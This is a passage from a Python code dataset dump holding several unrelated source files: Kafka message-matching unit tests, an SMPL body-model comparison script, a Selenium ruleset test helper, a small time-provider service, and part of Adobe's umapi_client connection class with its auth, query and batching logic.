\"common/kafka/tests/unit/input/sample_wf_instantiation_event.json\"\n\n\n@dataclass\nclass DummyClassForTest:\n workflow_definition_id: str\n count: int\n request_ids: List[str] = field(default_factory=list)\n\n\nclass KafkaTest(TestCase):\n def setUp(self) -> None:\n return super().setUp()\n\n def test_wait_for_messages(self):\n def matcher(event_msg, unique_message_ids):\n account_id = event_msg[\"account_id\"]\n request_id = event_msg[\"event_id\"]\n return (\n account_id,\n request_id,\n True if account_id in unique_message_ids else (\"\", request_id, False),\n )\n\n message_ids = {\"1\": None, \"2\": None, \"3\": None}\n\n consumer = create_mock_message_queue(SAMPLE_BALANCE_MESSAGE)\n\n result = kafka.wait_for_messages(\n consumer=consumer,\n matcher=matcher,\n callback=None,\n unique_message_ids=message_ids,\n matched_message_timeout=3,\n inter_message_timeout=3,\n )\n expected_result = {\"2\": None, \"3\": None}\n self.assertEqual(result, expected_result)\n\n def test_wait_for_messages_with_dict_(self):\n def matcher(event_msg, unique_message_ids):\n event_request_id = event_msg[\"request_id\"]\n event_wf_definition_id = event_msg[\"workflow_instance\"][\n \"workflow_definition_id\"\n ]\n event_account_id = event_msg[\"instantiation_context\"].get(\"account_id\")\n is_matched = False\n if event_account_id in unique_message_ids:\n for expected_workflow in unique_message_ids[event_account_id]:\n if (\n expected_workflow.workflow_definition_id\n == event_wf_definition_id\n and event_request_id not in expected_workflow.request_ids\n ):\n expected_workflow.count -= 1\n expected_workflow.request_ids.append(event_request_id)\n is_matched = True\n break\n\n return None, event_request_id, is_matched\n\n message_ids = {\n \"1\": [\n DummyClassForTest(workflow_definition_id=\"TEST_WF\", count=1),\n DummyClassForTest(workflow_definition_id=\"TEST_WF_2\", count=2),\n ],\n \"2\": [\n DummyClassForTest(workflow_definition_id=\"TEST_WF\", count=1),\n DummyClassForTest(workflow_definition_id=\"TEST_WF_2\", count=2),\n ],\n }\n consumer = create_mock_message_queue(SAMPLE_WF_MESSAGE)\n\n result = kafka.wait_for_messages(\n consumer=consumer,\n matcher=matcher,\n callback=None,\n unique_message_ids=message_ids,\n matched_message_timeout=1,\n inter_message_timeout=1,\n )\n expected_result = {\n \"1\": [\n DummyClassForTest(\n workflow_definition_id=\"TEST_WF\",\n count=0,\n request_ids=[\"123test123\"],\n ),\n DummyClassForTest(\n workflow_definition_id=\"TEST_WF_2\", count=2, request_ids=[]\n ),\n ],\n \"2\": [\n DummyClassForTest(\n workflow_definition_id=\"TEST_WF\", count=1, request_ids=[]\n ),\n DummyClassForTest(\n workflow_definition_id=\"TEST_WF_2\", count=2, request_ids=[]\n ),\n ],\n }\n self.assertDictEqual(result, expected_result)\n\n @patch(\"logging.Logger.warning\")\n def test_wait_for_messages_matched_message_timeout(self, warning_logging: Mock):\n def matcher(event_msg, unique_message_ids):\n account_id = event_msg[\"account_id\"]\n request_id = event_msg[\"event_id\"]\n return (\n account_id,\n request_id,\n True if account_id in unique_message_ids else (\"\", request_id, False),\n )\n\n message_ids = {\"1\": None, \"2\": None, \"3\": None}\n\n consumer = create_mock_message_queue(\n SAMPLE_BALANCE_MESSAGE, matched_message_sleep=2, while_loop_sleep=0\n )\n\n kafka.wait_for_messages(\n consumer=consumer,\n matcher=matcher,\n callback=None,\n unique_message_ids=message_ids,\n matched_message_timeout=1,\n inter_message_timeout=0,\n )\n warning_logging.assert_called_with(\n f\"Waited 2.0s since last matched message received. \"\n f\"Timeout set to 1.0. Exiting after 1 \"\n f\"messages received\"\n )\n\n @patch(\"logging.Logger.warning\")\n def test_wait_for_messages_inter_message_timeout(self, warning_logging: Mock):\n def matcher(event_msg, unique_message_ids):\n account_id = event_msg[\"account_id\"]\n request_id = event_msg[\"event_id\"]\n return (\n account_id,\n request_id,\n True if account_id in unique_message_ids else (\"\", request_id, False),\n )\n\n message_ids = {\"1\": None, \"2\": None, \"3\": None}\n\n consumer = create_mock_message_queue(SAMPLE_BALANCE_MESSAGE)\n\n kafka.wait_for_messages(\n consumer=consumer,\n matcher=matcher,\n callback=None,\n unique_message_ids=message_ids,\n matched_message_timeout=0,\n inter_message_timeout=1,\n )\n\n warning_logging.assert_called_with(\n f\"Waited 2.0s since last message received. \"\n f\"Timeout set to 1.0. Exiting after 1 \"\n f\"messages received\"\n )\n","sub_path":"common/kafka/tests/unit/test_kafka.py","file_name":"test_kafka.py","file_ext":"py","file_size_in_byte":6173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"278958015","text":"# import smpl_tf\nimport smpl_np\nfrom smpl_torch import SMPLModel\nimport numpy as np\n# import tensorflow as tf\nimport torch\nimport os\n\n\ndef compute_diff(a, b):\n \"\"\"\n Compute the max relative difference between ndarray a and b element-wisely.\n\n Parameters:\n ----------\n a, b: ndarrays to be compared of same shape.\n\n Return:\n ------\n The max relative difference.\n\n \"\"\"\n return np.max(np.abs(a - b) / np.minimum(a, b))\n\n\ndef pytorch_wrapper(beta, pose, trans):\n device = torch.device('cuda')\n pose = torch.from_numpy(pose).type(torch.float64).to(device)\n beta = torch.from_numpy(beta).type(torch.float64).to(device)\n trans = torch.from_numpy(trans).type(torch.float64).to(device)\n model = SMPLModel(device=device)\n with torch.no_grad():\n result = model(beta, pose, trans)\n return result.cpu().numpy()\n\n\n# def tf_wrapper(beta, pose, trans):\n# beta = tf.constant(beta, dtype=tf.float64)\n# trans = tf.constant(trans, dtype=tf.float64)\n# pose = tf.constant(pose, dtype=tf.float64)\n# output, _ = smpl_tf.smpl_model('./model.pkl', beta, pose, trans)\n# with tf.Session() as sess:\n# result = sess.run(output)\n# return result\n\n\ndef np_wrapper(beta, pose, trans):\n smpl = smpl_np.SMPLModel('./model.pkl')\n result = smpl.set_params(pose=pose, beta=beta, trans=trans)\n return result\n\n\nif __name__ == '__main__':\n pose_size = 72\n beta_size = 10\n os.environ['CUDA_VISIBLE_DEVICES'] = '0'\n np.random.seed(9608)\n '''\n X = flexion/extension\n Y = abduction/adduction\n Z = longitudinal rotation\n 'pelvis',\n 'left leg root', 'right leg root',\n 'lowerback',\n 'left knee', 'right knee',\n 'upperback',\n 'left ankle', 'right ankle',\n 'thorax',\n 'left toes', 'right toes',\n 'lowerneck',\n 'left clavicle', 'right clavicle',\n 'upperneck',\n 'left armroot', 'right armroot',\n 'left elbow', 'right elbow',\n 'left wrist', 'right wrist',\n 'left hand', 'right hand'\n '''\n # read angles from roofing data\n with open(\"/home/kien/Desktop/OSimProcess/osim_data/angles_gt/S06_1_IK_Result.mot\") as infile:\n line = infile.readlines()[11]\n line = line.split()\n line = [float(x) for x in line]\n\n pelvis = [0, 0, 0]\n left_leg_root = [-line[14], line[15], line[16]]\n right_leg_root = [-line[7], line[8], line[9]]\n lowerback = [-line[21], line[22], line[23]]\n left_knee = [-line[17], 0, 0]\n right_knee = [-line[10], 0, 0]\n upperback = [0, 0, 0]\n left_ankle = [-line[18], 0, 0]\n right_ankle = [-line[11], 0, 0]\n thorax = [0, 0, 0]\n left_toes = [0, 0, 0]\n right_toes = [0, 0, 0]\n lower_neck = [0, 0, 0]\n left_clavice = [0, 0, 0]\n right_clavice = [0, 0, 0]\n upperneck = [0, 0, 0]\n left_armroot = [-line[32]+90, line[31], line[33]] # abd, flex, rot\n print(left_armroot)\n right_armroot = [-line[25]+90, line[24], line[26]]\n print(right_armroot)\n left_elbow = [-line[34], 0, 0]\n right_elbow = [-line[27], 0, 0]\n left_wrist = [0, 0, 0]\n right_wrist = [0, 0, 0]\n left_hand = [0, 0, 0]\n right_hand = [0, 0, 0]\n\n pose = pelvis + left_leg_root + right_leg_root + lowerback + left_knee + right_knee \\\n + upperback + left_ankle + right_ankle + thorax + left_toes + right_toes + lower_neck\\\n + left_clavice + right_clavice + upperneck + left_armroot + right_armroot + left_elbow\\\n + right_elbow + left_wrist + right_wrist + left_hand + right_hand\n pose = np.array(pose)\n pose = pose * np.pi / 180\n print(pose, pose.shape)\n # pose = (np.random.rand(pose_size) - 0.5) * 0.2\n beta = (np.random.rand(beta_size) - 0.5) * 0.03\n trans = np.array([0.5, 0.5, 0.5])\n\n # tf_result = tf_wrapper(beta, pose, trans)\n np_result = np_wrapper(beta, pose, trans)\n torch_result = pytorch_wrapper(beta, pose, trans)\n\n if np.allclose(np_result, torch_result):\n print('Bingo!')\n else:\n print('Failed')\n # print('tf - np: ', compute_diff(tf_result, np_result))\n print('torch - np: ', compute_diff(torch_result, np_result))\n\n ## use matplotlib to display\n from matplotlib import pyplot as plt\n from mpl_toolkits.mplot3d import Axes3D\n from mpl_toolkits.mplot3d.art3d import Poly3DCollection\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n mesh = Poly3DCollection(np_result, alpha=0.1)\n face_color = (1.0, 1.0, 0.9)\n edge_color = (0, 0, 0)\n mesh.set_edgecolor(edge_color)\n mesh.set_facecolor(face_color)\n ax.add_collection3d(mesh)\n ax.set_xlabel(\"X\")\n ax.set_ylabel(\"Y\")\n ax.set_zlabel(\"Z\")\n ax.view_init(90, -90)\n plt.xlim([-0.5, 1])\n plt.ylim([-0.5, 1])\n # plt.axis(\"off\")\n plt.show()\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"63937140","text":"#! /usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\n\nfrom ...sql_executor import sql_executor\nfrom .. import config\nfrom ..base_web_test import BaseWebTestCase\n\n\nclass BaseRuleSetTestCase(BaseWebTestCase):\n case_name = '规则集'\n\n url = config.SERVER\n\n return_button = (By.XPATH, r'//button/span[contains(text(), \"返回\")]/..')\n\n @classmethod\n def setUpClass(cls) -> None:\n super(BaseRuleSetTestCase, cls).setUpClass()\n cls.login()\n cls.ruleset_fields = [field[0] for field in sql_executor.execute(\"DESC rule_set\")]\n\n @staticmethod\n def query_ruleset_from_db(*args, order=None, desc=False, limit=None, **kwargs):\n filters = list()\n for fld, val in kwargs.items():\n if isinstance(val, tuple):\n filters.append(f\" WHERE {fld} IN {val}\")\n else:\n filters.append(f\" WHERE {fld} = '{val}'\")\n\n fields = ', '.join(['rule_set.id' if fld == 'id' else fld for fld in args]) if args else 'rule_set.*'\n\n raw_sql = f\"\"\"SELECT DISTINCT {fields} FROM rule_set\"\"\"\n\n if filters:\n raw_sql += ' AND'.join(filters)\n if order:\n raw_sql += f' ORDER BY {order}'\n if desc:\n raw_sql += ' DESC'\n if limit:\n raw_sql += f' LIMIT {limit}'\n\n return sql_executor.execute(raw_sql)\n\n @staticmethod\n def query_rule_set_category(ruleset_type_id):\n sql = f\"\"\"SELECT name FROM rule_set_category WHERE id = {ruleset_type_id}\"\"\"\n return sql_executor.execute(sql)[0][0]\n\n @staticmethod\n def query_app_name(app_id):\n sql = f\"\"\"SELECT name FROM product_application WHERE id = {app_id}\"\"\"\n return sql_executor.execute(sql)[0][0]\n\n def click_return(self):\n try:\n self.driver.find_element(*self.return_button).click()\n self.driver.implicitly_wait(config.IMPLICIT_WAIT)\n except NoSuchElementException as ex:\n self.assertIsNone(ex, f'当前页面{self.driver.current_url}中未找到返回button!')\n","sub_path":"web/rulesets/base_test.py","file_name":"base_test.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"471832946","text":"import datetime\nfrom source.arrowhead_system import ProviderSystem\nfrom source.provider import provided_service\nfrom flask import request\n#from source.service_provider import ServiceProvider\n\nclass TimeProvider(ProviderSystem):\n def __init__(self, *args, **kwargs):\n ProviderSystem.__init__(self, *args, **kwargs)\n self.format = '%H:%M:%S'\n\n def setup_services(self):\n @self.add_service('time', '/time', 'HTTP-SECURE-JSON')\n def get_time():\n return datetime.datetime.now().strftime(self.format)\n\n @self.add_service('format', '/time/format', 'HTTP-SECURE-JSON', ['POST'])\n def change_format():\n data = request.data\n\n print(data)\n\n self.format = data.decode()\n\n return True\n\n\nif __name__ == '__main__':\n '''\n time_provider = TimeProvider('time_provider',\n 'localhost',\n '1337',\n '',\n '127.0.0.1',\n '8443',\n 'certificates/time_provider.key',\n 'certificates/time_provider.crt')\n '''\n time_provider = TimeProvider.from_properties('examples/time_provider.properties')\n #time_provider.setup_services()\n time_provider.run_forever()\n print(time_provider.services)\n","sub_path":"examples/time_provider_advanced.py","file_name":"time_provider_advanced.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"160036559","text":"# Copyright (c) 2016-2017 Adobe Inc. All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport json\nimport logging\nimport os\nfrom email.utils import parsedate_tz, mktime_tz\nfrom platform import python_version, version as platform_version\nfrom random import randint\nfrom time import time, sleep, gmtime, strftime\nimport requests\nimport io\nimport urllib.parse as urlparse\n\nfrom .auth import JWT, Auth, AccessRequest\nfrom .error import BatchError, UnavailableError, ClientError, RequestError, ServerError, ArgumentError\nfrom .version import __version__ as umapi_version\n\n\nclass APIResult:\n success_codes = [200, 201, 204]\n timeout_codes = [429, 502, 503, 504]\n client_error = lambda self, x: 201 <= x < 200\n request_error = lambda self, x: 400 <= x < 500\n\n def __init__(self, result=None, success=False, timeout=None):\n self.result = result\n self.success = success\n self.timeout = timeout\n self.status_code = result.status_code if hasattr(result, 'status_code') else 'Error'\n\n def check_result(self):\n if self.result.status_code in self.success_codes:\n self.success = True\n return self\n if self.result.status_code in self.timeout_codes:\n self.success = False\n self.timeout = self.get_timeout()\n return self\n if self.client_error(self.result.status_code):\n raise ClientError(\"Unexpected HTTP Status {:d}: {}\".format(self.result.status_code, self.result.text), self.result)\n if self.request_error(self.result.status_code):\n raise RequestError(self.result)\n raise ServerError(self.result)\n\n def get_timeout(self):\n if \"Retry-After\" in self.result.headers:\n advice = self.result.headers[\"Retry-After\"]\n advised_time = parsedate_tz(advice)\n if advised_time is not None:\n # header contains date\n return int(mktime_tz(advised_time) - time())\n else:\n # header contains delta seconds\n return int(advice)\n return 0\n\nclass Connection:\n \"\"\"\n An org-specific, authorized connection to the UMAPI service. Each method\n makes a single call on the endpoint and returns the result (or raises an error).\n \"\"\"\n mock_env_var = \"UMAPI_MOCK\"\n\n def __init__(self,\n org_id,\n auth_dict=None,\n auth=None,\n ims_host=\"ims-na1.adobelogin.com\",\n ims_endpoint_jwt=\"/ims/exchange/jwt/\",\n user_management_endpoint=\"https://usermanagement.adobe.io/v2/usermanagement\",\n test_mode=False,\n logger=logging.getLogger(\"umapi_client\"),\n retry_max_attempts=4,\n retry_first_delay=15,\n retry_random_delay=5,\n ssl_verify=True,\n timeout_seconds=120.0,\n throttle_actions=10,\n throttle_commands=10,\n throttle_groups=10,\n user_agent=None,\n **kwargs):\n \"\"\"\n Open a connection for the given parameters that has the given options.\n The connection is authorized and the auth token reused on all calls.\n\n Required parameters. You must specify org_id and one of auth *or* auth_dict\n :param org_id: string OrganizationID from Adobe.IO integration data\n :param auth_dict: a dictionary with auth information (see below)\n :param auth: a umapi_client.auth.Auth object containing authorization\n\n Auth data: if you supply an auth_dict, it must have values for these keys:\n :param tech_acct_id: string technical account ID from Adobe.IO integration data\n :param api_key: string api_key from Adobe.IO integration data\n :param client_secret: string client secret from Adobe.IO integration data\n and one of:\n :param private_key_file: path to local private key file that matches Adobe.IO public key for integration\n or:\n :param private_key_data: the contents of the private_key_file (PEM format)\n (NOTE: for compatibility with User Sync config files, the key names priv_key_path and tech_acct\n are accepted as aliases for private_key_file and tech_acct_id, respectively.)\n\n Optional connection parameters (defaults are for Adobe production):\n :param ims_host: the IMS host which will exchange your JWT for an access token\n :param ims_endpoint_jwt: the exchange token endpoint on the IMS host\n :param user_management_endpoint: the User Management API service root endpoint\n\n Behavioral options for the connection:\n :param test_mode: Whether to pass the server-side \"test mode\" flag when executing actions\n :param logger: The log handler to use (None suppresses logging, default is named \"umapi_client\")\n :param retry_max_attempts: How many times to retry on temporary errors\n :param retry_first_delay: The time to delay first retry (grows exponentially from there)\n :param retry_random_delay: The max random delay to add on each exponential backoff retry\n :param timeout_seconds: How many seconds to wait for server response (<= 0 or None means forever)\n :param throttle_actions: Max number of actions to pack into a single call\n :param throttle_commands: Max number of commands allowed in a single action\n :param throttle_groups: Max number of groups to add/remove to/from a user\n :param user_agent: (optional) string to use as User-Agent header (umapi-client/version data will be added)\n\n Additional keywords are allowed to make it easy to pass a big dictionary with other values\n :param kwargs: any keywords passed that we ignore.\n \"\"\"\n # for testing we mock the server, either by using an http relay\n # which relays and records the requests and responses, or by\n # using a robot which plays back a previously recorded run.\n mock_spec = os.getenv(self.mock_env_var, None)\n if mock_spec:\n if mock_spec not in [\"proxy\", \"playback\"]:\n raise ArgumentError(\"Unknown value for %s: %s\" % (self.mock_env_var, mock_spec))\n if logger: logger.warning(\"%s override specified as '%s'\", self.mock_env_var, mock_spec)\n # mocked servers don't support https\n if user_management_endpoint.lower().startswith(\"https://\"):\n user_management_endpoint = \"http\" + user_management_endpoint[5:]\n # playback servers don't use authentication/authorization\n if mock_spec == \"playback\":\n auth = Auth(\"mock\", \"mock\")\n\n self.org_id = str(org_id)\n self.endpoint = user_management_endpoint\n self.test_mode = test_mode\n self.logger = logger\n self.retry_max_attempts = retry_max_attempts\n self.retry_first_delay = retry_first_delay\n self.retry_random_delay = retry_random_delay\n self.ssl_verify = ssl_verify\n self.timeout = float(timeout_seconds) if timeout_seconds and float(timeout_seconds) > 0.0 else None\n self.throttle_actions = max(int(throttle_actions), 1)\n self.throttle_commands = max(int(throttle_commands), 1)\n self.throttle_groups = max(int(throttle_groups), 1)\n self.action_queue = []\n self.local_status = {\"multiple-query-count\": 0,\n \"single-query-count\": 0,\n \"actions-sent\": 0,\n \"actions-completed\": 0,\n \"actions-queued\": 0}\n self.server_status = {\"status\": \"Never contacted\",\n \"endpoint\": self.endpoint}\n if auth:\n self.auth = auth\n elif auth_dict:\n self.auth = self._get_auth(ims_host=ims_host, ims_endpoint_jwt=ims_endpoint_jwt, **auth_dict)\n else:\n raise ArgumentError(\"Connector create: either auth (an Auth object) or auth_dict (a dict) is required\")\n self.session = requests.Session()\n ua_string = \"umapi-client/\" + umapi_version + \" Python/\" + python_version() + \" (\" + platform_version() + \")\"\n if user_agent and user_agent.strip():\n ua_string = user_agent.strip() + \" \" + ua_string\n self.session.headers[\"User-Agent\"] = ua_string\n\n def _get_auth(self, ims_host, ims_endpoint_jwt,\n tech_acct_id=None, api_key=None, client_secret=None,\n private_key_file=None, private_key_data=None,\n **kwargs):\n tech_acct_id = tech_acct_id or kwargs.get(\"tech_acct\")\n private_key_file = private_key_file or kwargs.get(\"priv_key_path\")\n if not (tech_acct_id and api_key and client_secret and (private_key_data or private_key_file)):\n raise ArgumentError(\"Connector create: not all required auth parameters were supplied; please see docs\")\n if private_key_data:\n jwt = JWT(self.org_id, tech_acct_id, ims_host, api_key, io.StringIO(private_key_data))\n else:\n with open(private_key_file, 'r') as private_key_stream:\n jwt = JWT(self.org_id, tech_acct_id, ims_host, api_key, private_key_stream)\n token = AccessRequest(\"https://\" + ims_host + ims_endpoint_jwt, api_key, client_secret, jwt(), self.ssl_verify)\n return Auth(api_key, token())\n\n def status(self, remote=False):\n \"\"\"\n Return the connection status, both locally and remotely.\n\n The local connection status is a dictionary that gives:\n * the count of multiple queries sent to the server.\n * the count of single queries sent to the server.\n * the count of actions sent to the server.\n * the count of actions executed successfully by the server.\n * the count of actions queued to go to the server.\n\n The remote connection status includes whether the server is live,\n as well as data about version and build. The server data is\n cached, unless the remote flag is specified.\n\n :param remote: whether to query the server for its latest status\n :return: tuple of status dicts: (local, server).\n \"\"\"\n if remote:\n components = urlparse.urlparse(self.endpoint)\n try:\n result = self.session.get(components[0] + \"://\" + components[1] + \"/status\", timeout=self.timeout,\n verify=self.ssl_verify)\n except Exception as e:\n if self.logger: self.logger.debug(\"Failed to connect to server for status: %s\", e)\n result = None\n if result and result.status_code == 200:\n self.server_status = result.json()\n self.server_status[\"endpoint\"] = self.endpoint\n elif result:\n if self.logger: self.logger.debug(\"Server status response not understandable: Status: %d, Body: %s\",\n result.status_code, result.text)\n self.server_status = {\"endpoint\": self.endpoint,\n \"status\": (\"Unexpected HTTP status \" + str(result.status_code) + \" at: \" +\n strftime(\"%d %b %Y %H:%M:%S +0000\", gmtime()))}\n else:\n self.server_status = {\"endpoint\": self.endpoint,\n \"status\": \"Unreachable at: \" + strftime(\"%d %b %Y %H:%M:%S +0000\", gmtime())}\n return self.local_status, self.server_status\n\n def query_single(self, object_type, url_params, query_params=None):\n # type: (str, list, dict) -> dict\n \"\"\"\n Query for a single object.\n :param object_type: string query type (e.g., \"users\" or \"groups\")\n :param url_params: required list of strings to provide as additional URL components\n :param query_params: optional dictionary of query options\n :return: the found object (a dictionary), which is empty if none were found\n \"\"\"\n # Server API convention (v2) is that the pluralized object type goes into the endpoint\n # but the object type is the key in the response dictionary for the returned object.\n self.local_status[\"single-query-count\"] += 1\n query_type = object_type + \"s\" # poor man's plural\n query_path = \"/organizations/{}/{}\".format(self.org_id, query_type)\n for component in url_params if url_params else []:\n query_path += \"/\" + urlparse.quote(component, safe='/@')\n if query_params: query_path += \"?\" + urlparse.urlencode(query_params)\n try:\n result = self.make_call(query_path)\n body = result.json()\n except RequestError as re:\n if re.result.status_code == 404:\n if self.logger: self.logger.debug(\"Ran %s query: %s %s (0 found)\",\n object_type, url_params, query_params)\n return {}\n else:\n raise re\n if body.get(\"result\") == \"success\":\n value = body.get(object_type, {})\n if self.logger: self.logger.debug(\"Ran %s query: %s %s (1 found)\", object_type, url_params, query_params)\n return value\n else:\n raise ClientError(\"OK status but no 'success' result\", result)\n\n def query_multiple(self, object_type, page=0, url_params=None, query_params=None):\n # type: (str, int, list, dict) -> tuple\n \"\"\"\n Query for a page of objects. Defaults to the (0-based) first page.\n Sadly, the sort order is undetermined.\n :param object_type: string constant query type: either \"user\" or \"group\")\n :param page: numeric page (0-based) of results to get (up to 200 in a page)\n :param url_params: optional list of strings to provide as additional URL components\n :param query_params: optional dictionary of query options\n :return: tuple (list of returned dictionaries (one for each query result), bool for whether this is last page)\n \"\"\"\n # As of 2017-10-01, we are moving to to different URLs for user and user-group queries,\n # and these endpoints have different conventions for pagination. For the time being,\n # we are also preserving the more general \"group\" query capability.\n self.local_status[\"multiple-query-count\"] += 1\n if object_type in (\"user\", \"group\"):\n query_path = \"/{}s/{}/{:d}\".format(object_type, self.org_id, page)\n if url_params: query_path += \"/\" + \"/\".join([urlparse.quote(c) for c in url_params])\n if query_params: query_path += \"?\" + urlparse.urlencode(query_params)\n elif object_type == \"user-group\":\n query_path = \"/{}/user-groups\".format(self.org_id)\n if url_params: query_path += \"/\" + \"/\".join([urlparse.quote(c) for c in url_params])\n query_path += \"?page={:d}\".format(page+1)\n if query_params: query_path += \"&\" + urlparse.urlencode(query_params)\n else:\n raise ArgumentError(\"Unknown query object type ({}): must be 'user' or 'group'\".format(object_type))\n try:\n result = self.make_call(query_path)\n body = result.json()\n except RequestError as re:\n if re.result.status_code == 404:\n if self.logger: self.logger.debug(\"Ran %s query: %s %s (0 found)\",\n object_type, url_params, query_params)\n return [], True\n else:\n raise re\n\n headers = {k.lower(): v for k, v in result.headers.items()}\n total_count = headers.get(\"x-total-count\", \"0\")\n page_count = headers.get(\"x-page-count\", \"0\")\n page_number = headers.get(\"x-current-page\", \"1\")\n page_size = headers.get(\"x-page-size\", \"0\")\n\n if object_type in (\"user\", \"group\"):\n if body.get(\"result\") == \"success\":\n values = body.get(object_type + \"s\", [])\n last_page = body.get(\"lastPage\", False)\n\n if self.logger: self.logger.debug(\"Ran multi-%s query: %s %s (page %d: %d found)\",\n object_type, url_params, query_params, page, len(values))\n return values, last_page, int(total_count), int(page_count), int(page_number), int(page_size)\n else:\n raise ClientError(\"OK status but no 'success' result\", result)\n elif object_type == \"user-group\":\n if self.logger: self.logger.debug(\"Ran multi-group query: %s %s (page %d: %d found)\",\n url_params, query_params, page, len(body))\n return body, int(page_number) >= int(page_count), int(total_count), int(page_count), \\\n int(page_number), int(page_size)\n else:\n # this would actually be caught above, but we use a parallel construction in both places\n # to make it easy to add query object types\n raise ArgumentError(\"Unknown query object type ({}): must be 'user' or 'group'\".format(object_type))\n\n def execute_single(self, action, immediate=False):\n \"\"\"\n Execute a single action (containing commands on a single object).\n Normally, since actions are batched so as to be most efficient about execution,\n but if you want this command sent immediately (and all prior queued commands\n sent earlier in this command's batch), specify a True value for the immediate flag.\n\n Since any command can fill the current batch, your command may be submitted\n even if you don't specify the immediate flag. So don't think of this always\n being a queue call if immedidate=False.\n\n Returns the number of actions in the queue, that got sent, and that executed successfully.\n\n :param action: the Action to be executed\n :param immediate: whether the Action should be executed immediately\n :return: the number of actions in the queue, that got sent, and that executed successfully.\n \"\"\"\n return self.execute_multiple([action], immediate=immediate)\n\n def execute_queued(self):\n \"\"\"\n Force execute any queued commands.\n :return: the number of actions left in the queue, that got sent, and that executed successfully.\n \"\"\"\n return self.execute_multiple([], immediate=True)\n\n def execute_multiple(self, actions, immediate=True):\n \"\"\"\n Execute multiple Actions (each containing commands on a single object).\n Normally, the actions are sent for execution immediately (possibly preceded\n by earlier queued commands), but if you are going for maximum efficiency\n you can set immeediate=False which will cause the connection to wait\n and batch as many actions as allowed in each server call.\n\n Since any command can fill the current batch, one or more of your commands may be submitted\n even if you don't specify the immediate flag. So don't think of this call as always\n being a queue call when immedidate=False.\n\n Returns the number of actions left in the queue, that got sent, and that executed successfully.\n\n NOTE: This is where we throttle the number of commands per action. So the number\n of actions we were given may not be the same as the number we queue or send to the server.\n \n NOTE: If the server gives us a response we don't understand, we note that and continue\n processing as usual. Then, at the end of the batch, we throw in order to warn the client\n that we had a problem understanding the server.\n\n :param actions: the list of Action objects to be executed\n :param immediate: whether to immediately send them to the server\n :return: tuple: the number of actions in the queue, that got sent, and that executed successfully.\n \"\"\"\n # throttling part 1: split up each action into smaller actions, as needed\n # optionally split large lists of groups in add/remove commands (if action supports it)\n split_actions = []\n exceptions = []\n for a in actions:\n if len(a.commands) == 0:\n if self.logger: self.logger.warning(\"Sending action with no commands: %s\", a.frame)\n # maybe_split_groups is a UserAction attribute, so the call may throw an AttributeError\n try:\n if a.maybe_split_groups(self.throttle_groups):\n if self.logger: self.logger.debug(\n \"Throttling actions %s to have a maximum of %d entries in group lists.\",\n a.frame, self.throttle_groups)\n except AttributeError:\n pass\n if len(a.commands) > self.throttle_commands:\n if self.logger: self.logger.debug(\"Throttling action %s to have a maximum of %d commands.\",\n a.frame, self.throttle_commands)\n split_actions += a.split(self.throttle_commands)\n else:\n split_actions.append(a)\n actions = self.action_queue + split_actions\n # throttling part 2: execute the action list in batches, as needed\n sent = completed = 0\n batch_size = self.throttle_actions\n min_size = 1 if immediate else batch_size\n while len(actions) >= min_size:\n batch, actions = actions[0:batch_size], actions[batch_size:]\n if self.logger: self.logger.debug(\"Executing %d actions (%d remaining).\", len(batch), len(actions))\n sent += len(batch)\n try:\n completed += self._execute_batch(batch)\n except Exception as e:\n exceptions.append(e)\n self.action_queue = actions\n self.local_status[\"actions-queued\"] = queued = len(actions)\n self.local_status[\"actions-sent\"] += sent\n self.local_status[\"actions-completed\"] += completed\n if exceptions:\n raise BatchError(exceptions, queued, sent, completed)\n return queued, sent, completed\n\n def _execute_batch(self, actions):\n \"\"\"\n Execute a single batch of Actions.\n For each action that has a problem, we annotate the action with the\n error information for that action, and we return the number of\n successful actions in the batch.\n :param actions: the list of Action objects to be executed\n :return: count of successful actions\n \"\"\"\n wire_form = [a.wire_dict() for a in actions]\n if self.test_mode:\n result = self.make_call(\"/action/%s?testOnly=true\" % self.org_id, wire_form)\n else:\n result = self.make_call(\"/action/%s\" % self.org_id, wire_form)\n body = result.json()\n if body.get(\"errors\", None) is None:\n if body.get(\"result\") != \"success\":\n if self.logger: self.logger.warning(\"Server action result: no errors, but no success:\\n%s\", body)\n return len(actions)\n try:\n if body.get(\"result\") == \"success\":\n if self.logger: self.logger.warning(\"Server action result: errors, but success report:\\n%s\", body)\n for error in body[\"errors\"]:\n actions[error[\"index\"]].report_command_error(error)\n except:\n raise ClientError(str(body), result)\n return body.get(\"completed\", 0)\n\n def make_call(self, path, body=None, delete=False):\n \"\"\"\n Make a single UMAPI call with error handling and retry on temporary failure.\n :param path: the string endpoint path for the call\n :param body: (optional) list of dictionaries to be serialized into the request body\n :return: the requests.result object (on 200 response), raise error otherwise\n \"\"\"\n if body:\n request_body = json.dumps(body)\n def call():\n return self.session.post(self.endpoint + path, auth=self.auth, data=request_body, timeout=self.timeout,\n 